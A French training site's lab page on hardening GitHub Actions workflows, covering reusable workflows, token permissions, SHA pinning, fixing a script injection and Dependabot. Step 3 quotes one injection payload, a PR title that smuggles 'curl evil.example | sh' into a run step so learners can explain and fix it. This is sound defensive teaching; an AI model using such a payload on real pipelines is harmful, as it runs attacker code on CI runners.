RousselTMLEARNING

TP · GitHub Actions: from discovery to expertise

Lab: Reuse and harden workflows

What you will learn in this TP
  • Create a composite action and a reusable workflow
  • Limit GITHUB_TOKEN permissions
  • Pin actions by SHA
  • Fix a script injection
Mode :

All steps and instructions are shown. Recommended for this lab: autonomous

Introduction #

Context. An audit flags copy-pasted workflows, unpinned actions and a command injection risk. You fix everything.

Prerequisites: a free GitHub account, Git, Python 3 and the gh CLI, the Lab 1 repository  ·  Estimated time: 45 min

Factored, pinned, injection-free workflows kept up to date by Dependabot.

Setup #

Guided steps, with their solution.

  1. 1. Factor

    Why? A composite action groups steps; a reusable workflow groups whole jobs.

    Create the preparer-python action, the tests-reutilisables.yml reusable workflow and a ci.yml calling it for 3.12 and 3.13.
  2. 2. Pin by SHA

    Why? A tag can be moved to malicious code; a commit SHA cannot.

    Find the SHA of actions/checkout v7.0.1 and check it is used in the reusable workflow, with the version as a comment.
  3. 3. Fix an injection

    Why? An expression inserted into run is substituted before the shell runs: a PR title can become a command.

    Spot the vulnerable step, explain what the title x"; curl evil.example | sh; echo " would do, then fix it with an env variable.
  4. 4. Keep actions up to date

    Why? Pinned actions must be updated: Dependabot opens pull requests with the new SHA.

    Add .github/dependabot.yml for the github-actions and pip ecosystems, then check every workflow has permissions: contents: read.

Validate your work

Check that each goal above is reached and that you get the result described in the introduction.

Difficulty level : ●●●●○ (4/5)

My progress

  • ⏱ Estimated time : ≈ 45 min

Sign in to track your progress and take notes. Sign in

⭐ Rate this lesson

5.0 initial rating from the teaching team

Sign in to rate this lesson →

💬 Questions about this lesson

No questions yet: be the first to ask for help or share your configuration.

Ask a question about this lesson →

Recommended Articles

Reusing and securing GitHub Actions workflows

Industrializing GitHub Actions: reusable workflows, composite, JavaScript and Docker actions, lea...

GitHub Actions best practices and troubleshooting

Running GitHub Actions: speeding up and cutting costs, debugging (debug logs, act locally, gh run...

Writing GitHub Actions workflows

Mastering workflow syntax: triggers and filters, jobs and needs, matrices, if conditions, context...

End-to-end CI/CD (5/5): GitHub Actions, GitLab CI, Jenkins and Argo CD in practice

Compare and use CI/CD tools: GitHub Actions, GitLab CI, Jenkins, Argo CD and Flux; a complete pip...

GitHub Actions: concepts and how it works

Discover GitHub Actions: events, workflows, jobs, steps and actions, the Marketplace, hosted runn...

Site Reliability Guardian in Dynatrace

Validating each release with Site Reliability Guardian (SRG): guardians and DQL objectives, fixed...

GitHub Actions runners: hosted, self-hosted and ARC

Choosing where workflows run: hosted runners and images, larger runners, self-hosted runners (ins...

Workflows and AutomationEngine: automating notifications and remediation

Automating with Workflows (AutomationEngine) in Dynatrace: triggers, DQL, JavaScript and connecto...

Threats & Exploits in Dynatrace

Detecting and blocking attacks with the Dynatrace Threats & Exploits app: runtime application pro...

Support us

♥ SUPPORT US

Support RousselTM Learning

Courses, articles, labs and certificates stay free with no intrusive ads. A voluntary contribution, of any amount you choose, pays for hosting, lab environments and new content.

Contribute with PayPal Any amount · card or PayPal accountLearn more
QR code PayPal
Or scan this QR code with your phone

Thank you, every contribution counts!